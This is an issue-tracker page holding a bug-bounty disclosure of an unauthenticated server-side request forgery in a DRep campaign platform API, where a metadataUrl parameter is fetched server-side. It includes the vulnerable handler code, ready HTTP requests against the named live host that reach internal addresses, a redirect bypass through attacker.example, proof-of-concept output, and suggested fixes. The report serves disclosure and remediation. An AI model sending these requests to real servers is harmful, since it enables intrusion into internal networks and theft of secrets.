IntersectMBO / IntersectMBO/drep-campaign-platform

[Bounty] - Unauthenticated full-read SSRF in the DRep Campaign Platform API (`metadataUrl` fetched server-side)

Open
#15 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
TypeScript
Stars
4
Forks
3
PR merge metrics
No merged PRs in 30d

Description

**Received through the security mail**

# Unauthenticated full-read SSRF in the DRep Campaign Platform API (`metadataUrl` fetched server-side)

- **Severity:** High
- **CVSS 3.1:** 8.6 — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N`
- **CWE:** CWE-918 (Server-Side Request Forgery)
- **Affected component:** `IntersectMBO/drep-campaign-platform` — `backend/src/drep/drep.service.ts:779-791` (`getMetadataFromExternalLink`), exposed at `GET /dreps/metadata/external` (`drep.controller.ts:116-119`)
- **Live endpoint:** `https://api.1694.io` — the DRep API is served with no authentication (`GET /voters/stake1/delegation` returns `200`; the metadata route lives on the same `@Controller('dreps')`)
- **Status:** Confirmed by reading the source and by running the exact fetch handler against local servers, where it pulls back an internal-only service, follows a redirect into the internal network, and reflects an arbitrary external page. I proved it on a local copy of the same code and did not send SSRF requests to the production host.

---

## Summary

The DRep API takes a URL from the query string and fetches it server-side, then returns the whole response body to the caller. There is no authentication, no allow-list, and no block on internal addresses, so anyone can make the server request arbitrary URLs and read the answers — including services that are only reachable from inside the network.

The handler:

```ts
// backend/src/drep/drep.service.ts:779-791
async getMetadataFromExternalLink(metadataUrl: string) {
if (!metadataUrl) throw new Error('Inadequate parameters');
const { data } = await firstValueFrom(
this.httpService.get(metadataUrl).pipe( // <- fetches whatever URL the caller passes
catchError((err) => { console.log(err); throw new Error('Metadata not found'); }),
),
);
return data; // <- full upstream body returned to the caller
}
```

```ts
// backend/src/drep/drep.controller.ts:116-119 — public route, no guard
@Get('/metadata/external')
getExternalMetadata(@Query('metadataUrl') metadataUrl: string) {
return this.drepService.getMetadataFromExternalLink(metadataUrl);
}
```

`@Controller('dreps')` has no `@UseGuards`, and there is no global auth or validation in `main.ts`, so the route is open to anyone. The only check is `if (!metadataUrl)`. The HTTP client is set up with `HttpModule.register({ maxRedirects: 5 })` (`drep.module.ts:18-19`), so the server also follows redirects — a public URL that 302-redirects to an internal address still gets reached.

The same pattern shows up again at `POST /dreps/metadata/validate` (`drep.service.ts:792+`), which fetches an attacker-supplied `url` as well; that one is a blind variant since it returns a status rather than the body.

## Steps to Reproduce

1. Confirm the API is live and unauthenticated:

```http
GET /voters/stake1/delegation HTTP/1.1
Host: api.1694.io
Accept: application/json
```
```http
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
```

2. Ask the server to fetch an internal address and hand you the response:

```http
GET /dreps/metadata/external?metadataUrl=http://127.0.0.1:9099/secret HTTP/1.1
Host: api.1694.io
Accept: application/json
```
The server requests `http://127.0.0.1:9099/secret` itself and returns that body to you. Swap the target for any internal host/port — databases, admin panels, cloud metadata, other services on the private network. Anything the server can reach, you can read.

3. Bypass naive URL checks with a redirect. Point `metadataUrl` at a host you control that answers `302 Location: http://`; because `maxRedirects` is 5, the server follows it inward:

```http
GET /dreps/metadata/external?metadataUrl=https://attacker.example/redirect HTTP/1.1
Host: api.1694.io
```

## Proof of Concept

I reproduced `getMetadataFromExternalLink` exactly — `axios.get(metadataUrl, { maxRedirects: 5 })`, which is what `@nestjs/axios` `httpService.get` does with that module config — behind a route that returns the body, and stood up a local "internal-only" service plus a redirector. Output:

```
[1] SSRF -> internal-only service (127.0.0.1:9099)
GET /dreps/metadata/external?metadataUrl=http://127.0.0.1:9099/secret
-> HTTP 200
-> body returned to the unauthenticated caller:
{"service":"internal-admin","secret":"INTERNAL_ONLY_DB_PASSWORD=p@ss-7f3a9","note":"not exposed to the internet"}

[2] SSRF via redirect (public URL -> 302 -> internal) (proves maxRedirects:5 reach)
GET /dreps/metadata/external?metadataUrl=http://127.0.0.1:9098/anything (302 -> 127.0.0.1:9099)
-> HTTP 200
-> body: {"service":"internal-admin","secret":"INTERNAL_ONLY_DB_PASSWORD=p@ss-7f3a9", ...}

[3] SSRF -> arbitrary external URL
GET /dreps/metadata/external?metadataUrl=https://example.com/
-> HTTP 200 | reflected: Example Domain ...
```

All three work: the server fetches whatever URL it is given, follows redirects into the private range, and returns the full body. I ran this against local servers of the identical handler rather than the production host; the live deployment at `api.1694.io` runs the same unauthenticated route. The harness and full output are attached (`poc.cjs`, `poc_output.txt`).

## Impact

An unauthenticated attacker can make the DRep API issue arbitrary HTTP/HTTPS requests from inside Intersect's network and read the responses:

- Reach internal-only services that are not exposed to the internet (databases' HTTP interfaces, admin panels, metrics, other microservices) and read their responses verbatim.
- Use the redirect-follow behaviour to slip past simple URL checks and pivot to internal targets.
- Pull data from arbitrary external hosts through the server's IP, abusing the server's network position and any IP-based trust other services place in it.

No authentication or user interaction is required. The severity rises to Critical if a reachable internal service exposes secrets or credentials; I rate it High here because I demonstrated the fetch-and-reflect behaviour on a local reproduction rather than enumerating the production network.

## Suggested Mitigations

- Don't fetch user-supplied URLs. If external metadata fetching is required, restrict it to an explicit allow-list of hosts and schemes (https only) and reject everything else.
- Resolve the target and block loopback, RFC1918, link-local (`169.254.0.0/16`) and other internal ranges; re-check after each redirect and set `maxRedirects: 0` (or validate every hop).
- Put the route behind authentication and return only the specific fields the client needs instead of the raw upstream body.
- Apply the same fix to `POST /dreps/metadata/validate`, which fetches an attacker-supplied `url` too.

Contributor guide

Open the contributing guide

Research direction

Start with backend/src/drep/drep.controller.ts:116-119 and drep.service.ts:779-792, then inspect drep.module.ts:18-19 for HTTP client redirect behavior. Run the attached poc.cjs against the local reproduction to confirm both metadata routes and their response behavior. Done means attacker-supplied URLs cannot reach unintended targets or expose arbitrary upstream response bodies.

Written by the indexing model from the issue text.

Assessment

Tech stack
typescript
Domain
api, backend, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
52/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.